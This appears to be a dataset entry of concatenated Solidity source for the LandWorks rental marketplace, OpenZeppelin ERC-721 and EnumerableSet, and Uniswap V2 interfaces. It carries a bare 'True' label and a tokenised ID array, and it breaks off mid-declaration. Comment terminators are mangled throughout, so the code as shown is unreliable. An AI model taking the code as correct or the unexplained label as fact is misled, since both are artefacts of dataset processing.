ConsumableAdapterUpdated(metaverseRegistry, adapter); LibMetaverseConsumableAdapter .metaverseConsumableAdapterStorage() .administrativeConsumers[ metaverseRegistry ] = administrativeConsumer; emit AdministrativeConsumerUpdated( metaverseRegistry, administrativeConsumer ); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "../interfaces/IERC721Consumable.sol"; /// @title Version 1 adapter for metaverse integrations /// @author Daniel K Ivanov /// @notice Adapter for metaverses that lack the necessary consumer role required to be integrated into LandWorks /// For reference see https://eips.ethereum.org/EIPS/eip-4400 contract ConsumableAdapterV1 is IERC165, IERC721Consumable { /// @notice LandWorks address address public immutable landworks; /// @notice NFT Token address IERC721 public immutable token; /// @notice mapping of authorised consumer addresses mapping(uint256 => address) private consumers; constructor(address _landworks, address _token) { landworks = _landworks; token = IERC721(_token); } /// @dev See {IERC721Consumable-consumerOf} function consumerOf(uint256 tokenId) public view returns (address) { return consumers[tokenId]; } /// @dev See {IERC721Consumable-changeConsumer} function changeConsumer(address consumer, uint256 tokenId) public { require( msg.sender == landworks, "ConsumableAdapter: sender is not LandWorks" ); require( msg.sender == token.ownerOf(tokenId), "ConsumableAdapter: sender is not owner of tokenId" ); consumers[tokenId] = consumer; emit ConsumerChanged(msg.sender, consumer, tokenId); } /** * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { return interfaceId == type(IERC721Consumable).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IMetaverseAdditionFacet { event SetMetaverseName(uint256 indexed _metaverseId, string _name); event SetRegistry( uint256 indexed _metaverseId, address _registry, bool _status ); event ConsumableAdapterUpdated( address indexed _metaverseRegistry, address indexed _adapter ); event AdministrativeConsumerUpdated( address indexed _metaverseRegistry, address indexed _administrativeConsumer ); function addMetaverseWithAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) external; function addMetaverseWithoutAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "./LibDiamond.sol"; library LibOwnership { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function setContractOwner(address _newOwner) internal { LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); address previousOwner = ds.contractOwner; require(previousOwner != _newOwner, "Previous owner and new owner must be different"); ds.contractOwner = _newOwner; emit OwnershipTransferred(previousOwner, _newOwner); } function contractOwner() internal view returns (address contractOwner_) { contractOwner_ = LibDiamond.diamondStorage().contractOwner; } function enforceIsContractOwner() view internal { require(msg.sender == LibDiamond.diamondStorage().contractOwner, "Must be contract owner"); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; library LibMetaverseConsumableAdapter { bytes32 constant METAVERSE_CONSUMABLE_ADAPTER_POSITION = keccak256("com.enterdao.landworks.metaverse.consumable.adapter"); struct MetaverseConsumableAdapterStorage { // Stores the adapters for each metaverse mapping(address => address) consumableAdapters; // Stores the administrative consumers for each metaverse mapping(address => address) administrativeConsumers; // Stores the consumers for each asset's rentals mapping(uint256 => mapping(uint256 => address)) consumers; } function metaverseConsumableAdapterStorage() internal pure returns (MetaverseConsumableAdapterStorage storage mcas) { bytes32 position = METAVERSE_CONSUMABLE_ADAPTER_POSITION; assembly { mcas.slot := position } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; library LibMarketplace { using EnumerableSet for EnumerableSet.AddressSet; bytes32 constant MARKETPLACE_STORAGE_POSITION = keccak256("com.enterdao.landworks.marketplace"); enum AssetStatus { Listed, Delisted } struct Asset { uint256 metaverseId; address metaverseRegistry; uint256 metaverseAssetId; address paymentToken; uint256 minPeriod; uint256 maxPeriod; uint256 maxFutureTime; uint256 pricePerSecond; uint256 totalRents; AssetStatus status; } struct Rent { address renter; uint256 start; uint256 end; } struct MetaverseRegistry { // Name of the Metaverse string name; // Supported registries EnumerableSet.AddressSet registries; } struct MarketplaceStorage { // Supported metaverse registries mapping(uint256 => MetaverseRegistry) metaverseRegistries; // Assets by ID mapping(uint256 => Asset) assets; // Rents by asset ID mapping(uint256 => mapping(uint256 => Rent)) rents; } function marketplaceStorage() internal pure returns (MarketplaceStorage storage ms) { bytes32 position = MARKETPLACE_STORAGE_POSITION; assembly { ms.slot := position } } function setMetaverseName(uint256 _metaverseId, string memory _name) internal { marketplaceStorage().metaverseRegistries[_metaverseId].name = _name; } function metaverseName(uint256 _metaverseId) internal view returns (string memory) { return marketplaceStorage().metaverseRegistries[_metaverseId].name; } function setRegistry( uint256 _metaverseId, address _registry, bool _status ) internal { LibMarketplace.MetaverseRegistry storage mr = marketplaceStorage() .metaverseRegistries[_metaverseId]; if (_status) { require(mr.registries.add(_registry), "_registry already added"); } else { require(mr.registries.remove(_registry), "_registry not found"); } } function supportsRegistry(uint256 _metaverseId, address _registry) internal view returns (bool) { return marketplaceStorage() .metaverseRegistries[_metaverseId] .registries .contains(_registry); } function totalRegistries(uint256 _metaverseId) internal view returns (uint256) { return marketplaceStorage() .metaverseRegistries[_metaverseId] .registries .length(); } function registryAt(uint256 _metaverseId, uint256 _index) internal view returns (address) { return marketplaceStorage() .metaverseRegistries[_metaverseId] .registries .at(_index); } function addRent( uint256 _assetId, address _renter, uint256 _start, uint256 _end ) internal returns (uint256) { LibMarketplace.MarketplaceStorage storage ms = marketplaceStorage(); uint256 newRentId = ms.assets[_assetId].totalRents + 1; ms.assets[_assetId].totalRents = newRentId; ms.rents[_assetId][newRentId] = LibMarketplace.Rent({ renter: _renter, start: _start, end: _end }); return newRentId; } function assetAt(uint256 _assetId) internal view returns (Asset memory) { return marketplaceStorage().assets[_assetId]; } function rentAt(uint256 _assetId, uint256 _rentId) internal view returns (Rent memory) { return marketplaceStorage().rents[_assetId][_rentId]; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; /// @title ERC-721 Consumer Role extension /// Note: the ERC-165 identifier for this interface is 0x953c8dfa interface IERC721Consumable { /// @notice Emitted when `owner` changes the `consumer` of an NFT /// The zero address for consumer indicates that there is no consumer address /// When a Transfer event emits, this also indicates that the consumer address /// for that NFT (if any) is set to none event ConsumerChanged( address indexed owner, address indexed consumer, uint256 indexed tokenId ); /// @notice Get the consumer address of an NFT /// @dev The zero address indicates that there is no consumer /// Throws if `_tokenId` is not a valid NFT /// @param _tokenId The NFT to get the consumer address for /// @return The consumer address for this NFT, or the zero address if there is none function consumerOf(uint256 _tokenId) external view returns (address); /// @notice Change or reaffirm the consumer address for an NFT /// @dev The zero address indicates there is no consumer address /// Throws unless `msg.sender` is the current NFT owner, an authorised /// operator of the current owner or approved address /// Throws if `_tokenId` is not valid NFT /// @param _consumer The new consumer of the NFT function changeConsumer(address _consumer, uint256 _tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; /****************************************************************************\ Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamond Standard: https://eips.ethereum.org/EIPS/eip-2535 /****************************************************************************/ import { IDiamondCut } from "../interfaces/IDiamondCut.sol"; library LibDiamond { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("com.enterdao.landworks.storage"); struct FacetAddressAndPosition { address facetAddress; uint96 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array } struct FacetFunctionSelectors { bytes4[] functionSelectors; uint256 facetAddressPosition; // position of facetAddress in facetAddresses array } struct DiamondStorage { // maps function selector to the facet address and // the position of the selector in the facetFunctionSelectors.selectors array mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition; // maps facet addresses to function selectors mapping(address => FacetFunctionSelectors) facetFunctionSelectors; // facet addresses address[] facetAddresses; // Used to query if a contract implements an interface. // Used to implement ERC-165. mapping(bytes4 => bool) supportedInterfaces; // owner of the contract address contractOwner; } function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata); // Internal function version of diamondCut function diamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) { IDiamondCut.FacetCutAction action = _diamondCut[facetIndex].action; if (action == IDiamondCut.FacetCutAction.Add) { addFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else if (action == IDiamondCut.FacetCutAction.Replace) { replaceFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else if (action == IDiamondCut.FacetCutAction.Remove) { removeFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else { revert("LibDiamondCut: Incorrect FacetCutAction"); } } emit DiamondCut(_diamondCut, _init, _calldata); initializeDiamondCut(_init, _calldata); } function addFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); require(_facetAddress != address(0), "LibDiamondCut: Add facet can't be address(0)"); uint96 selectorPosition = uint96(ds.facetFunctionSelectors[_facetAddress].functionSelectors.length); // add new facet address if it does not exist if (selectorPosition == 0) { addFacet(ds, _facetAddress); } for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; require(oldFacetAddress == address(0), "LibDiamondCut: Can't add function that already exists"); addFunction(ds, selector, selectorPosition, _facetAddress); selectorPosition++; } } function replaceFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); require(_facetAddress != address(0), "LibDiamondCut: Add facet can't be address(0)"); uint96 selectorPosition = uint96(ds.facetFunctionSelectors[_facetAddress].functionSelectors.length); // add new facet address if it does not exist if (selectorPosition == 0) { addFacet(ds, _facetAddress); } for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; require(oldFacetAddress != _facetAddress, "LibDiamondCut: Can't replace function with same function"); removeFunction(ds, oldFacetAddress, selector); addFunction(ds, selector, selectorPosition, _facetAddress); selectorPosition++; } } function removeFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); // if function does not exist then do nothing and return require(_facetAddress == address(0), "LibDiamondCut: Remove facet address must be address(0)"); for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; removeFunction(ds, oldFacetAddress, selector); } } function addFacet(DiamondStorage storage ds, address _facetAddress) internal { enforceHasContractCode(_facetAddress, "LibDiamondCut: New facet has no code"); ds.facetFunctionSelectors[_facetAddress].facetAddressPosition = ds.facetAddresses.length; ds.facetAddresses.push(_facetAddress); } function addFunction(DiamondStorage storage ds, bytes4 _selector, uint96 _selectorPosition, address _facetAddress) internal { ds.selectorToFacetAndPosition[_selector].functionSelectorPosition = _selectorPosition; ds.facetFunctionSelectors[_facetAddress].functionSelectors.push(_selector); ds.selectorToFacetAndPosition[_selector].facetAddress = _facetAddress; } function removeFunction(DiamondStorage storage ds, address _facetAddress, bytes4 _selector) internal { require(_facetAddress != address(0), "LibDiamondCut: Can't remove function that doesn't exist"); // an immutable function is a function defined directly in a diamond require(_facetAddress != address(this), "LibDiamondCut: Can't remove immutable function"); // replace selector with last selector, then delete last selector uint256 selectorPosition = ds.selectorToFacetAndPosition[_selector].functionSelectorPosition; uint256 lastSelectorPosition = ds.facetFunctionSelectors[_facetAddress].functionSelectors.length - 1; // if not the same then replace _selector with lastSelector if (selectorPosition != lastSelectorPosition) { bytes4 lastSelector = ds.facetFunctionSelectors[_facetAddress].functionSelectors[lastSelectorPosition]; ds.facetFunctionSelectors[_facetAddress].functionSelectors[selectorPosition] = lastSelector; ds.selectorToFacetAndPosition[lastSelector].functionSelectorPosition = uint96(selectorPosition); } // delete the last selector ds.facetFunctionSelectors[_facetAddress].functionSelectors.pop(); delete ds.selectorToFacetAndPosition[_selector]; // if no more selectors for facet address then delete the facet address if (lastSelectorPosition == 0) { // replace facet address with last facet address and delete last facet address uint256 lastFacetAddressPosition = ds.facetAddresses.length - 1; uint256 facetAddressPosition = ds.facetFunctionSelectors[_facetAddress].facetAddressPosition; if (facetAddressPosition != lastFacetAddressPosition) { address lastFacetAddress = ds.facetAddresses[lastFacetAddressPosition]; ds.facetAddresses[facetAddressPosition] = lastFacetAddress; ds.facetFunctionSelectors[lastFacetAddress].facetAddressPosition = facetAddressPosition; } ds.facetAddresses.pop(); delete ds.facetFunctionSelectors[_facetAddress].facetAddressPosition; } } function initializeDiamondCut(address _init, bytes memory _calldata) internal { if (_init == address(0)) { require(_calldata.length == 0, "LibDiamondCut: _init is address(0) but_calldata is not empty"); } else { require(_calldata.length > 0, "LibDiamondCut: _calldata is empty but _init is not address(0)"); if (_init != address(this)) { enforceHasContractCode(_init, "LibDiamondCut: _init address has no code"); } (bool success, bytes memory error) = _init.delegatecall(_calldata); if (!success) { if (error.length > 0) { // bubble up the error revert(string(error)); } else { revert("LibDiamondCut: _init function reverted"); } } } } function enforceHasContractCode(address _contract, string memory _errorMessage) internal view { uint256 contractSize; assembly { contractSize := extcodesize(_contract) } require(contractSize > 0, _errorMessage); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; /***************************************************************************\ Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamond Standard: https://eips.ethereum.org/EIPS/eip-2535 /****************************************************************************/ interface IDiamondCut { enum FacetCutAction {Add, Replace, Remove} // Add=0, Replace=1, Remove=2 struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; / * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. / library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /* * @dev Returns true if the value is in the set. O(1). / function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /* * @dev Returns the number of values on the set. O(1). / function _length(Set storage set) private view returns (uint256) { return set._values.length; } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /* * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. / function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /* * @dev Returns true if the value is in the set. O(1). / function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /* * @dev Returns the number of values in the set. O(1). / function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /* * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. / function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /* * @dev Returns true if the value is in the set. O(1). / function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /* * @dev Returns the number of values in the set. O(1). / function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /* * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. / function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /* * @dev Returns true if the value is in the set. O(1). / function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /* * @dev Returns the number of values on the set. O(1). / function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /* * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2184, 1025, 12324, 1000, 1012, 1012, 1013, 15581, 2545, 1013, 9530, 17421, 3085, 8447, 13876, 2121, 2615, 2487, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 19706, 1013, 10047, 12928, 16070, 4215, 20562, 12172, 2102, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 8860, 1013, 5622, 18912, 16912, 5605, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 8860, 1013, 18086, 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// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address 